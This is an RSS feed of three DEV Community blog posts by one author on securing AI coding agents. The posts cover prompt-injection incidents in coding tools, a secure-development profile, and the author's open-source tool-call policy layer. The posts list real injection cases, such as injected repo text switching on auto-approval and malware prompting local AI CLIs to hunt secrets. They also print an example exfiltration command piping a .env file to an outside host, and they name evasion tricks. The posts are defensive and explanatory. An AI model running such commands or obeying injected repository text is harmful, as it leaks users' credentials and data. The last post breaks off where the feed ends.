<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dennis Liu</title>
    <description>The latest articles on DEV Community by Dennis Liu (@aldimorningstar).</description>
    <link>https://dev.to/aldimorningstar</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4043942%2Fa59e46a9-3886-4c34-bb31-6af2a04e8703.png</url>
      <title>DEV Community: Dennis Liu</title>
      <link>https://dev.to/aldimorningstar</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aldimorningstar"/>
    <language>en</language>
    <item>
      <title>One SDLC, two kinds of author: securing development when AI agents write the code</title>
      <dc:creator>Dennis Liu</dc:creator>
      <pubDate>Tue, 13 Oct 2026 13:25:52 +0000</pubDate>
      <link>https://dev.to/aldimorningstar/one-sdlc-two-kinds-of-author-securing-development-when-ai-agents-write-the-code-4jh2</link>
      <guid>https://dev.to/aldimorningstar/one-sdlc-two-kinds-of-author-securing-development-when-ai-agents-write-the-code-4jh2</guid>
      <description>&lt;p&gt;A lot of teams now have two kinds of author in every repository. One is a person. The other is a coding agent with a shell, a package manager and permission to commit.&lt;/p&gt;

&lt;p&gt;A common question is whether that calls for a separate "AI SDLC" running alongside the normal one. The security frameworks, the research and the incident record point to a different answer:&lt;/p&gt;

&lt;p&gt;Keep one lifecycle, and add a security profile for AI-assisted development on top of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The code problem hasn't gone away
&lt;/h2&gt;

&lt;p&gt;Newer models haven't made the "AI writes insecure code" problem disappear.&lt;/p&gt;

&lt;p&gt;Veracode's 2026 GenAI Code Security Report tested more than 100 models and found an average security pass rate of 56%, which it described as "virtually unchanged" from the year before (&lt;a href="https://www.veracode.com/news/llms-are-getting-smarter-but-not-safer-veracode-2026-genai-code-security-report-finds-ai-generated-code-security-has-stalled-at-56%25-pass-rate/" rel="noopener noreferrer"&gt;Veracode&lt;/a&gt;). That's a vendor study scored with its own scanner, and the models were tested without any security prompting. Still, the trend line is flat.&lt;/p&gt;

&lt;p&gt;Agents working on real repositories are a newer area of research, and results swing a lot with the model, the agent harness and how much supervision it gets. The finding that keeps repeating is simpler: working code and secure code aren’t the same thing. A green test run tells you the feature works, not that it’s safe.&lt;/p&gt;

&lt;p&gt;Then there's the human side. In Stanford's study at ACM CCS 2023, developers using an AI assistant wrote less secure code and were more confident that it was secure (&lt;a href="https://arxiv.org/abs/2211.03622" rel="noopener noreferrer"&gt;arXiv&lt;/a&gt;). That combination is the dangerous part: review gets lighter exactly when it should get heavier.&lt;/p&gt;

&lt;p&gt;![A software lifecycle loop with a human and an AI working together inside a security shield]&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fed114t70zn54vffxdcv4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fed114t70zn54vffxdcv4.png" alt=" " width="799" height="446"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The agent itself is new attack surface
&lt;/h2&gt;

&lt;p&gt;Insecure code is the familiar half. The newer half is that the agent is a privileged process on a developer's machine, and it reads a lot of untrusted text.&lt;/p&gt;

&lt;p&gt;Over the past year, pretty much every major coding tool has had a vulnerability where opening a malicious repository could lead to code execution or leaked credentials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub Copilot (CVE-2025-53773): injected instructions got the agent to switch on auto-approval in &lt;code&gt;.vscode/settings.json&lt;/code&gt;, then run commands (&lt;a href="https://www.wiz.io/vulnerability-database/cve/cve-2025-53773" rel="noopener noreferrer"&gt;Wiz&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Cursor (CVE-2025-54135 and CVE-2025-54136): injection through MCP data, and an already-approved MCP config silently swapped for a malicious command (&lt;a href="https://www.tenable.com/blog/faq-cve-2025-54135-cve-2025-54136-vulnerabilities-in-cursor-curxecute-mcpoison" rel="noopener noreferrer"&gt;Tenable&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;OpenAI Codex CLI (CVE-2025-61260): a repository's config made MCP commands run at startup without approval (&lt;a href="https://research.checkpoint.com/2025/openai-codex-cli-command-injection-vulnerability/" rel="noopener noreferrer"&gt;Check Point Research&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;Claude Code has had its own command-parsing bypasses, such as CVE-2025-58764 (&lt;a href="https://advisories.gitlab.com/npm/@anthropic-ai/claude-code/CVE-2025-58764/" rel="noopener noreferrer"&gt;advisory&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are patched. The lesson that stays is that repository config, rule files and MCP definitions have become an execution path. Simon Willison's "lethal trifecta" explains why: an agent with access to private data, exposure to untrusted content and a way to send data out is an exfiltration tool waiting for the right prompt (&lt;a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/" rel="noopener noreferrer"&gt;Simon Willison&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The supply chain shows up too:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Package hallucination.&lt;/strong&gt; In the USENIX Security 2025 study, commercial models recommended packages that didn't exist 5.2% of the time, and open-source models 21.7% of the time, across 205,474 unique made-up names. Anyone can register those names (&lt;a href="https://arxiv.org/abs/2406.10279" rel="noopener noreferrer"&gt;arXiv&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Malicious MCP servers.&lt;/strong&gt; postmark-mcp, the first one found in the wild, quietly BCC'd every email it sent to the attacker (&lt;a href="https://koi.ai/blog/postmark-mcp-npm-malicious-backdoor-email-theft" rel="noopener noreferrer"&gt;Koi&lt;/a&gt;). Anthropic's own docs are clear that it "does not security-audit or manage any MCP server" (&lt;a href="https://code.claude.com/docs/en/security" rel="noopener noreferrer"&gt;Claude Code security docs&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Malware that drives your agent for you.&lt;/strong&gt; The compromised Nx npm package in August 2025 looked for locally installed AI CLIs and prompted them to search the disk for secrets (&lt;a href="https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware" rel="noopener noreferrer"&gt;StepSecurity&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromised tooling.&lt;/strong&gt; An Amazon Q Developer extension release for VS Code shipped with an injected instruction to delete local files and cloud resources, after an over-scoped GitHub token let an attacker commit to it. AWS says the payload didn't execute because of a syntax error (&lt;a href="https://aws.amazon.com/security/security-bulletins/AWS-2025-015/" rel="noopener noreferrer"&gt;AWS-2025-015&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why one SDLC, not two
&lt;/h2&gt;

&lt;p&gt;After all that, a dedicated "AI SDLC" can look like the obvious response. The major security frameworks don't recommend one.&lt;/p&gt;

&lt;p&gt;NIST's profile for generative AI is blunt about it. Its practices "do not distinguish between human-written and AI-generated source code, because it is assumed that all source code should be evaluated for vulnerabilities and other issues before use" (&lt;a href="https://csrc.nist.gov/pubs/sp/800/218/a/final" rel="noopener noreferrer"&gt;NIST SP 800-218A&lt;/a&gt;). The profile also only works on top of the main SSDF, not instead of it.&lt;/p&gt;

&lt;p&gt;The others say the same thing in different words. OWASP's Top 10:2025 puts it simply: "You are responsible for all code that you commit" (&lt;a href="https://github.com/OWASP/Top10" rel="noopener noreferrer"&gt;OWASP&lt;/a&gt;). CIS and SAFECode say AI-generated code should get "the same testing, review, and validation processes as human-written software." The Cloud Security Alliance's draft Agentic Secure Development Lifecycle says it "does not replace traditional SDL practices. It extends them" (&lt;a href="https://labs.cloudsecurityalliance.org/agentic/agentic-secure-development-lifecycle-v1/" rel="noopener noreferrer"&gt;CSA&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Even Anthropic's own AI-native SDLC playbook frames it as one lifecycle that "combines the old control objectives with new enforcement" and "has to fit around what exists" (&lt;a href="https://claude.com/blog/the-ai-native-sdlc-playbook" rel="noopener noreferrer"&gt;Anthropic&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;There's a practical argument too. Human and AI code end up in the same pull request, so there's no clean line to route work down. And if there are two tracks with different gates, people will use whichever one has fewer gates.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's actually new: the agent as a privileged actor
&lt;/h2&gt;

&lt;p&gt;So the code goes through the same gates. What genuinely has no home in a traditional SDLC is governing the agent itself: what it can read, what it can run, which tools and MCP servers it talks to, what identity it uses, and what it logs. That's closer to CI/CD platform security than to a second lifecycle.&lt;/p&gt;

&lt;p&gt;![A friendly robot coding inside a glass sandbox while a developer holds approve and stop buttons]&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwpg9zjwgj1qtkyd0opck.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwpg9zjwgj1qtkyd0opck.png" alt=" " width="799" height="446"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A starting profile for AI-assisted development
&lt;/h2&gt;

&lt;p&gt;A reasonable starting set of controls is below. None of it is exotic, and most of it is configuration rather than process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Approved tools and accounts.&lt;/strong&gt; Use enterprise or commercial plans only. The account type decides whether your code can be used for training: Anthropic, for example, separates consumer plans from commercial ones on exactly this point (&lt;a href="https://code.claude.com/docs/en/data-usage" rel="noopener noreferrer"&gt;data usage&lt;/a&gt;). Funding approved seats beats banning tools, because bans push people to whatever they can sign up for themselves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep sensitive data out of agent sessions.&lt;/strong&gt; No production data, customer data or secrets in prompts or in the files the agent can read. Agents can read whatever the developer's account can read unless you restrict them, so deny access to &lt;code&gt;.env&lt;/code&gt; files, connection strings and certificate stores, and use synthetic test data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Central, managed agent settings.&lt;/strong&gt; Most coding agents now support policy that IT can push and developers can't override. For Claude Code that means managed settings that disable bypass mode, allow only managed hooks and approved MCP servers, and turn on audit telemetry (&lt;a href="https://code.claude.com/docs/en/managed-settings" rel="noopener noreferrer"&gt;managed settings&lt;/a&gt;). Check every key against the current docs before you deploy, because these change.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Isolation where it matters.&lt;/strong&gt; Run agents in containers or VMs for untrusted repositories, which is also Anthropic's own advice. Note that Claude Code's built-in sandbox doesn't run on native Windows, so Windows-heavy teams should lean on WSL2, dev containers or VMs (&lt;a href="https://code.claude.com/docs/en/sandboxing" rel="noopener noreferrer"&gt;sandboxing&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Treat agent config as code.&lt;/strong&gt; Put CODEOWNERS on &lt;code&gt;.claude/&lt;/code&gt;, &lt;code&gt;.mcp.json&lt;/code&gt;, &lt;code&gt;.vscode/&lt;/code&gt;, &lt;code&gt;CLAUDE.md&lt;/code&gt; and &lt;code&gt;AGENTS.md&lt;/code&gt;, and scan for hidden Unicode in rule files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Human review with separation.&lt;/strong&gt; Agents shouldn't push to main, and the person who prompted the agent shouldn't be the only approver. GitHub's Copilot cloud agent is a good reference model: it can only push to its own branches and can't approve its own pull request (&lt;a href="https://docs.github.com/en/copilot/concepts/agents/cloud-agent/risks-and-mitigations" rel="noopener noreferrer"&gt;GitHub docs&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Label AI-assisted changes.&lt;/strong&gt; A co-author trailer or a pull request checkbox costs nothing. It lets you measure whether AI-assisted changes carry more findings, and it helps you scope an incident later.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Gate new dependencies.&lt;/strong&gt; Route packages through an approved feed or proxy, use lock files, and put a review step on any new package. That's your defence against invented package names.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tier the risk by code area.&lt;/strong&gt; The UK NCSC's "vibe coding spectrum" says to "slide left (towards manual)" for authentication, secrets and sensitive personal data (&lt;a href="https://www.ncsc.gov.uk/blogs/the-vibe-coding-spectrum-approach-to-ai-assisted-software-development" rel="noopener noreferrer"&gt;NCSC&lt;/a&gt;). In practice that means tests and docs can take more agent autonomy, while auth, crypto and anything touching personal data stay human-led with deep review.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log what the agent does.&lt;/strong&gt; Send agent telemetry to your SIEM and alert on things like bypass mode being switched on or a new MCP server appearing.&lt;/p&gt;

&lt;p&gt;If you're in Australia, the OAIC's guidance on commercial AI products is worth reading alongside this, especially if you handle health or other sensitive information (&lt;a href="https://www.oaic.gov.au/privacy/privacy-guidance-for-organisations-and-government-agencies/guidance-on-privacy-and-the-use-of-commercially-available-ai-products" rel="noopener noreferrer"&gt;OAIC&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to start
&lt;/h2&gt;

&lt;p&gt;These controls don't have to arrive all at once. Many of them are a settings change or a repository rule, so they can be adopted one at a time, starting with whichever gap worries you most.&lt;/p&gt;

&lt;p&gt;One thing to keep separate: securing AI features &lt;em&gt;inside your product&lt;/em&gt; is a different problem, with different controls (prompt injection in your app, model supply chain, output handling). It deserves its own profile rather than getting folded into this one.&lt;/p&gt;

&lt;p&gt;A few community "AI SDLC" frameworks have appeared on GitHub this year, and some have good ideas, like tracing requirements to tests or leaving every change for human review before it's committed. Most say very little about security, and that's the part worth adding.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devsecops</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>The tool-call boundary is where AI agent security actually happens</title>
      <dc:creator>Dennis Liu</dc:creator>
      <pubDate>Sat, 25 Jul 2026 08:21:33 +0000</pubDate>
      <link>https://dev.to/aldimorningstar/the-tool-call-boundary-is-where-ai-agent-security-actually-happens-5df2</link>
      <guid>https://dev.to/aldimorningstar/the-tool-call-boundary-is-where-ai-agent-security-actually-happens-5df2</guid>
      <description>&lt;p&gt;I gave my coding agent shell access and mostly it was great — until it wasn't.&lt;/p&gt;

&lt;p&gt;One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a &lt;code&gt;.env&lt;/code&gt; over &lt;code&gt;curl&lt;/code&gt; "to test the deploy." Neither was malice; both were an agent faithfully turning some text in its context window into an action. And once an agent can run commands, the distance between "helpful" and "incident" is one bad tool call.&lt;/p&gt;

&lt;p&gt;So where do you actually stop that call?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyigxeuaahc4tlxdjlfu9.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyigxeuaahc4tlxdjlfu9.gif" alt=" " width="640" height="451"&gt;&lt;/a&gt;&lt;br&gt;
The two common answers both disappointed me. &lt;strong&gt;A human approving every action&lt;/strong&gt; works for exactly two days, then everyone rubber-stamps. &lt;strong&gt;An LLM watching the LLM&lt;/strong&gt; is slow, non-deterministic, and — this is the fatal part — injectable by the same poisoned text it's supposed to catch. I wanted something boring and correct instead: a deterministic check at the one place every agent action has to pass through. This post is the argument for &lt;em&gt;where&lt;/em&gt; that check belongs, and how a decision can be made in milliseconds without ever calling a model.&lt;/p&gt;
&lt;h2&gt;
  
  
  An agent is an unprivileged process taking untrusted instructions
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fevpxgl5v1dsy24koi6xm.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fevpxgl5v1dsy24koi6xm.jpg" alt=" " width="800" height="541"&gt;&lt;/a&gt;&lt;br&gt;
From a security standpoint, an AI coding agent is &lt;strong&gt;an unprivileged process that takes instructions from an untrusted source and turns them into actions&lt;/strong&gt;. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.&lt;/p&gt;

&lt;p&gt;Framed that way, the failure modes aren't exotic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Secret exfiltration&lt;/strong&gt; — the agent reads &lt;code&gt;~/.aws/credentials&lt;/code&gt; or &lt;code&gt;.env&lt;/code&gt; and pipes it to a URL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destructive commands&lt;/strong&gt; — &lt;code&gt;rm -rf&lt;/code&gt; against the wrong path; a "cleanup" that isn't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse shells / C2 egress&lt;/strong&gt; — an outbound connection to somewhere you didn't approve.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection → action&lt;/strong&gt; — a poisoned README says "run this to set up the project," and the agent does.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The structural detail that matters: everything an agent does to the outside world goes through &lt;strong&gt;one choke point — the tool call&lt;/strong&gt;. File reads, shell commands, network requests: all of it is a tool invocation. That's where intent becomes action, and that's the natural place to enforce a boundary. Not inside the model (you can't trust its output), and not only in the sandbox underneath (too coarse to say "this &lt;em&gt;specific&lt;/em&gt; call is exfiltration"). Right at the call.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why not "an LLM to guard the LLM"
&lt;/h2&gt;

&lt;p&gt;The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. For a hard security boundary I think that's the wrong layer, for three reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Non-determinism.&lt;/strong&gt; The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency.&lt;/strong&gt; A model round-trip on every tool call is too slow to sit synchronously in the hot path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It's part of the attack surface.&lt;/strong&gt; The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a boundary you want the opposite properties: &lt;strong&gt;deterministic, auditable, fast, and independent of the thing it's adjudicating.&lt;/strong&gt; That rules an LLM out of the decision path — which sounds limiting until you see how far explicit rules actually get you.&lt;/p&gt;
&lt;h2&gt;
  
  
  Wiring in without touching the agent's code
&lt;/h2&gt;

&lt;p&gt;To sit at the tool-call boundary for agents you didn't write, you need two interception points, because the ecosystem hasn't standardized on one:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hooks&lt;/strong&gt; — agents with a native hook system (Claude Code, Codex) let you register &lt;code&gt;PreToolUse&lt;/code&gt; / &lt;code&gt;PostToolUse&lt;/code&gt; handlers. Every tool call is evaluated &lt;em&gt;before&lt;/em&gt; it runs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP proxy&lt;/strong&gt; — anything speaking the Model Context Protocol can be intercepted by sitting inline as a proxy, so every &lt;code&gt;tools/call&lt;/code&gt; passes through you first.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Between those two, you cover most of the current agent landscape — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, opencode — without patching any of them. It runs as your user (never root) and never needs to phone home.&lt;/p&gt;
&lt;h2&gt;
  
  
  How a deterministic decision actually works
&lt;/h2&gt;

&lt;p&gt;When a tool call arrives, you classify it against an explicit rule catalog and return one of three verdicts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Allow&lt;/strong&gt; — clearly safe. Runs silently, no prompt fatigue.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deny&lt;/strong&gt; — clearly dangerous (secret exfil, &lt;code&gt;rm -rf&lt;/code&gt;, reverse shells, injection-driven calls). Blocked outright.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ask&lt;/strong&gt; — genuinely ambiguous. Pause and ask a human.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two properties carry the whole design:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No LLM in the decision path.&lt;/strong&gt; It's a rules engine. Same input → same verdict, in well under 100ms, so it can gate &lt;em&gt;every&lt;/em&gt; call synchronously without anyone noticing the latency.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail-closed.&lt;/strong&gt; If evaluation errors, times out, or a call can't be classified, the result is &lt;strong&gt;deny&lt;/strong&gt;, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is &lt;code&gt;Deny &amp;gt; Ask &amp;gt; Allow&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Concretely, a blocked call looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tool call:  bash  →  cat .env | curl -X POST https://unknown.host -d @-
verdict:    DENY  (secrets.egress)  in 6ms
reason:     reads a sensitive credential file and sends it to an external host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing about that decision involved another model. It's a rule, and you can read it, diff it, and argue with it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The ambiguous cases: one-tap Allow/Deny from your phone
&lt;/h2&gt;

&lt;p&gt;Plenty of calls aren't clear-cut. Should the agent &lt;code&gt;git push&lt;/code&gt; to this remote? Install this package? Write outside the project directory? Hard-coding those as allow or deny is how you get a control people rip out.&lt;/p&gt;

&lt;p&gt;That's what &lt;strong&gt;Ask&lt;/strong&gt; is for: pause the agent and send a one-tap &lt;strong&gt;Allow / Deny&lt;/strong&gt; — and not just to the terminal, but over Telegram, Discord, Slack, Matrix, Mattermost, or WhatsApp. You let the agent keep working while you're away and just tap "deny" when it wants something you didn't intend. Don't answer in time? &lt;strong&gt;Auto-deny&lt;/strong&gt; — fail-closed again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explicit rules give you coverage you can reason about
&lt;/h2&gt;

&lt;p&gt;The payoff of rules-over-vibes is that findings map to real frameworks instead of a model's opinion:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rules tag to the &lt;strong&gt;OWASP Agentic Security Initiative (ASI) Top 10&lt;/strong&gt;, the &lt;strong&gt;OWASP LLM Top 10&lt;/strong&gt;, and &lt;strong&gt;MITRE ATLAS&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Verdicts and scan findings export as &lt;strong&gt;SARIF 2.1.0&lt;/strong&gt;, so they drop straight into the code-scanning tools your CI already understands.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can also scan code/skills statically &lt;em&gt;before&lt;/em&gt; you install them, keep a hash-chained (tamper-evident) audit log, and plant honeypot canaries — but the tool-call boundary is the core idea; the rest is defense-in-depth around it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limits — where this approach can be pushed
&lt;/h2&gt;

&lt;p&gt;I'd rather state what this &lt;em&gt;doesn't&lt;/em&gt; do than get called out for it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It's a policy layer, not a sandbox.&lt;/strong&gt; It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Real defense-in-depth still wants containers or VMs underneath.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic rules mean an evasion arms race.&lt;/strong&gt; Obfuscated command construction (base64-piped-to-&lt;code&gt;sh&lt;/code&gt;, staged writes, living-off-the-land binaries) is a genuine surface. This is the part I'm least done with.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Human-in-the-loop trades security for UX.&lt;/strong&gt; Too many "Ask" prompts and people click through them blindly. Tuning the allow/ask/deny line is ongoing work, not a solved problem.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  I built this, and it's open source
&lt;/h2&gt;

&lt;p&gt;The above isn't hypothetical — I implemented it as &lt;strong&gt;&lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;Belay&lt;/a&gt;&lt;/strong&gt;, an open-source (AGPL-3.0), local-first policy layer for AI coding agents. One installer auto-detects the agents you already run and wires in via hooks or the MCP proxy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://dl.belay.secblok.io/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Docs and the desktop app are at &lt;strong&gt;&lt;a href="https://belay.secblok.io" rel="noopener noreferrer"&gt;belay.secblok.io&lt;/a&gt;&lt;/strong&gt;; the repo is &lt;strong&gt;&lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;github.com/SECBLOK/belay&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If you run agents unattended, I'd genuinely value pushback on two things: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The allow/deny rules are all in the open — come argue with them, break them, and PR the ones I missed.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>devtools</category>
    </item>
    <item>
      <title>I built a security layer for AI coding agents — here's how it decides, with no LLM in the loop</title>
      <dc:creator>Dennis Liu</dc:creator>
      <pubDate>Thu, 23 Jul 2026 13:52:21 +0000</pubDate>
      <link>https://dev.to/aldimorningstar/i-built-a-security-layer-for-ai-coding-agents-heres-how-it-decides-with-no-llm-in-the-loop-g7h</link>
      <guid>https://dev.to/aldimorningstar/i-built-a-security-layer-for-ai-coding-agents-heres-how-it-decides-with-no-llm-in-the-loop-g7h</guid>
      <description>&lt;p&gt;I gave my coding agent shell access and mostly it was great — until it wasn't.&lt;/p&gt;

&lt;p&gt;One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a &lt;code&gt;.env&lt;/code&gt; over &lt;code&gt;curl&lt;/code&gt; "to test the deploy." The usual answer is a human approving every call, which nobody actually does past day two. The other answer — an LLM watching the LLM — is slow, non-deterministic, and itself injectable.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8f1txaz0sl3zzrnnok35.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8f1txaz0sl3zzrnnok35.jpg" alt=" " width="800" height="539"&gt;&lt;/a&gt;&lt;br&gt;
I wanted something boring and correct: a deterministic policy engine at the tool-call boundary that blocks the clearly-dangerous stuff in milliseconds and only interrupts me when a call is genuinely ambiguous.&lt;/p&gt;

&lt;p&gt;That's &lt;a href="https://github.com/SECBLOK/belay" rel="noopener noreferrer"&gt;Belay&lt;/a&gt;. It's open source (AGPL-3.0), local-first, and runs as your user. Here's the threat model, where it sits, and exactly how it makes a decision without ever calling a model.&lt;/p&gt;
&lt;h2&gt;
  
  
  The threat model: what goes wrong when agents get tool access
&lt;/h2&gt;

&lt;p&gt;From a security standpoint, an AI coding agent is an &lt;strong&gt;unprivileged process that takes instructions from an untrusted source and turns them into actions&lt;/strong&gt;. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.&lt;/p&gt;

